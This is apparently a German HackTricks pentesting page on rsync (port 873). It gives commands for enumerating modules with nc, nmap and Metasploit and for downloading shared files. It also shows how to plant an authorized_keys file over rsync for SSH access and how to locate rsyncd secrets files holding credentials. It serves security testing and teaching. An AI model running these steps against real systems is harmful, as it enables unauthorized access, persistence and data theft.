873 - Pentesting Rsync
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Von wikipedia:
rsync ist ein Dienstprogramm zum effizienten Übertragen und Synchronisieren von Dateien zwischen einem Computer und einer externen Festplatte sowie über vernetzte Computer, indem die Änderungszeiten und Größen der Dateien verglichen werden.[3] Es ist häufig auf Unix-ähnlichen Betriebssystemen zu finden. Der rsync-Algorithmus ist eine Art von Delta-Codierung und wird verwendet, um die Netzwerknutzung zu minimieren. Zlib kann für zusätzliche Datenkompression verwendet werden,[3] und SSH oder stunnel können für die Sicherheit verwendet werden.
Standardport: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Aufzählung
Banner & Manuelle Kommunikation
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Auflisten von Freigaben
Rsync-Module werden als Verzeichnisfreigaben erkannt, die möglicherweise mit Passwörtern geschützt sind. Um verfügbare Module zu identifizieren und zu überprüfen, ob sie Passwörter erfordern, werden die folgenden Befehle verwendet:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Seien Sie sich bewusst, dass einige Freigaben möglicherweise nicht in der Liste erscheinen, was sie möglicherweise verbirgt. Darüber hinaus kann der Zugriff auf einige Freigaben auf bestimmte Anmeldeinformationen beschränkt sein, was durch eine "Zugriff verweigert"-Meldung angezeigt wird.
Brute Force
Manuelle Rsync-Nutzung
Nach dem Erhalt einer Modulübersicht hängen die Aktionen davon ab, ob eine Authentifizierung erforderlich ist. Ohne Authentifizierung erfolgt das Auflisten und Kopieren von Dateien aus einem freigegebenen Ordner in ein lokales Verzeichnis durch:
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name
# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Dieser Prozess überträgt Dateien rekursiv und bewahrt deren Attribute und Berechtigungen.
Mit Anmeldeinformationen kann das Auflisten und Herunterladen aus einem freigegebenen Ordner wie folgt erfolgen, wobei eine Passwortaufforderung erscheint:
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Um Inhalte hochzuladen, wie z.B. eine authorized_keys-Datei für den Zugriff, verwenden Sie:
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Um die rsyncd-Konfigurationsdatei zu finden, führen Sie aus:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Innerhalb dieser Datei könnte ein secrets file Parameter auf eine Datei verweisen, die Benutzernamen und Passwörter für die rsyncd-Authentifizierung enthält.
Referenzen
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.